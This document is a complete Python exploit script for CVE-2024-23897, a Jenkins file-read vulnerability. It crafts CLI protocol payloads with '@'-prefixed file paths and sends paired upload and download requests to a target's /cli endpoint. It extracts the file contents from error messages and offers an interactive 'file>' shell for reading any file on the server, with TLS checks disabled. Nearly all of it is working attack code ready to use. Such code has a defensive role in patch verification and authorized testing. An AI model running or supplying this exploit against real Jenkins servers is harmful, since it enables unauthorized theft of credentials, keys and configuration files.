#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ This script is used to exploit CVE-2024-23897 (Jenkins file-read). This script was created to parse the output file content correctly. Limitations: https://www.jenkins.io/security/advisory/2024-01-24/#binary-files-note """ # Imports import argparse from cmd import Cmd import os import re import requests import struct import threading import time import urllib.parse import uuid # Disable SSL self-signed certificate warnings from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) # Constants RED = "\033[91m" GREEN = "\033[92m" YELLOW = "\033[93m" ENDC = "\033[0m" ENCODING = "UTF-8" class File_Terminal(Cmd): """This class provides a terminal prompt for file read attempts.""" intro = "Welcome to the Jenkins file-read shell. Type help or ? to list commands.\n" prompt = "file> " file = None def __init__(self, read_file_func): self.read_file = read_file_func super().__init__() def do_cat(self, file_path): """Retrieve file contents.""" self.read_file(file_path) def do_exit(self, *args): """Exit the terminal.""" return True default = do_cat class Op: ARG = 0 LOCALE = 1 ENCODING = 2 START = 3 EXIT = 4 STDIN = 5 END_STDIN = 6 STDOUT = 7 STDERR = 8 def send_upload_request(uuid_str, file_path): time.sleep(0.3) try: # Construct payload data = jenkins_arg("connect-node", Op.ARG) + jenkins_arg("@" + file_path, Op.ARG) + jenkins_arg(ENCODING, Op.ENCODING) + jenkins_arg("en", Op.LOCALE) + jenkins_arg("", Op.START) # Send upload request r = requests.post( url=args.url + "/cli?remoting=false", headers={ "User-Agent": args.useragent, "Session": uuid_str, "Side": "upload", "Content-type": "application/octet-stream", }, data=data, proxies=proxies, timeout=timeout, verify=False, ) except requests.exceptions.Timeout: print(f"{RED}[-] Request timed out{ENDC}") return False except Exception as e: print(f"{RED}[-] Error in download request: {str(e)}{ENDC}") return False def jenkins_arg(string, operation) -> bytes: out_bytes = b"\x00\x00" out_bytes += struct.pack(">H", len(string) + 2) out_bytes += bytes([operation]) out_bytes += struct.pack(">H", len(string)) out_bytes += string.encode("UTF-8") return out_bytes def safe_filename(path): # Get the basename of the path safe_path = path.replace("/", "_") # Replace non-alphanumeric characters (except underscores) with underscores safe_name = "".join(c if c.isalnum() or c == "_" else "_" for c in safe_path) return safe_name def send_download_request(uuid_str, file_path): file_contents = b"" try: # Send download request r = requests.post(url=args.url + "/cli?remoting=false", headers={"User-Agent": args.useragent, "Session": uuid_str, "Side": "download"}, proxies=proxies, timeout=timeout, verify=False) # Parse response content response = r.content.strip(b"\x00") if response: if b"No such file:" in response: print(f"{RED}[-] File does not exist{ENDC}") return False elif b"No such agent" in response: matches = re.findall(b'No such agent "(.*?)"', response) if matches: file_contents = b"\n".join(matches) except requests.exceptions.Timeout: print(f"{RED}[-] Request timed out{ENDC}") return False except Exception as e: print(f"{RED}[-] Error in download request:{ENDC} {str(e)}") return False # Save file if args.save: safe_path = safe_filename(file_path).strip("_") if not os.path.exists(safe_path) or args.overwrite: with open(safe_path, "wb") as f: f.write(file_contents) if args.verbose: print(f"[*] File saved to {safe_path}") else: if args.verbose: print(f"[*] File already saved to {safe_path}") # Print contents if file_contents: if isinstance(file_contents, bytes): print(file_contents.decode(ENCODING, errors="ignore").replace("\x00", "\n").strip()) else: print(file_contents.replace("\x00", "\n").strip()) else: print("") return True def read_file(file_path): # Create random UUID uuid_str = str(uuid.uuid4()) # Send upload/download requests upload_thread = threading.Thread(target=send_upload_request, args=(uuid_str, file_path)) download_thread = threading.Thread(target=send_download_request, args=(uuid_str, file_path)) upload_thread.start() download_thread.start() upload_thread.join() download_thread.join() if __name__ == "__main__": # Parse arguments parser = argparse.ArgumentParser(description="POC for CVE-2024-23897 (Jenkins file read)") parser.add_argument("-u", "--url", type=str, required=True, help="Jenkins URL") parser.add_argument( "-a", "--useragent", type=str, required=False, help="User agent to use when sending requests", default="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", ) parser.add_argument("-f", "--file", type=str, required=False, help="File path to read") parser.add_argument("-t", "--timeout", type=int, default=3, required=False, help="Request timeout") parser.add_argument("-s", "--save", action="store_true", required=False, help="Save file contents") parser.add_argument("-o", "--overwrite", action="store_true", required=False, help="Overwrite existing files") parser.add_argument("-p", "--proxy", type=str, required=False, help="HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)") parser.add_argument("-v", "--verbose", action="store_true", required=False, help="Verbosity enabled - additional output flag") args = parser.parse_args() # Input-checking if not args.url.startswith("http://") and not args.url.startswith("https://"): args.url = "http://" + args.url args.url = urllib.parse.urlparse(args.url).geturl().strip("/") if args.proxy: proxies = {"http": args.proxy, "https": args.proxy} else: proxies = {} timeout = args.timeout # Execute if args.file: read_file(args.file) else: File_Terminal(read_file).cmdloop()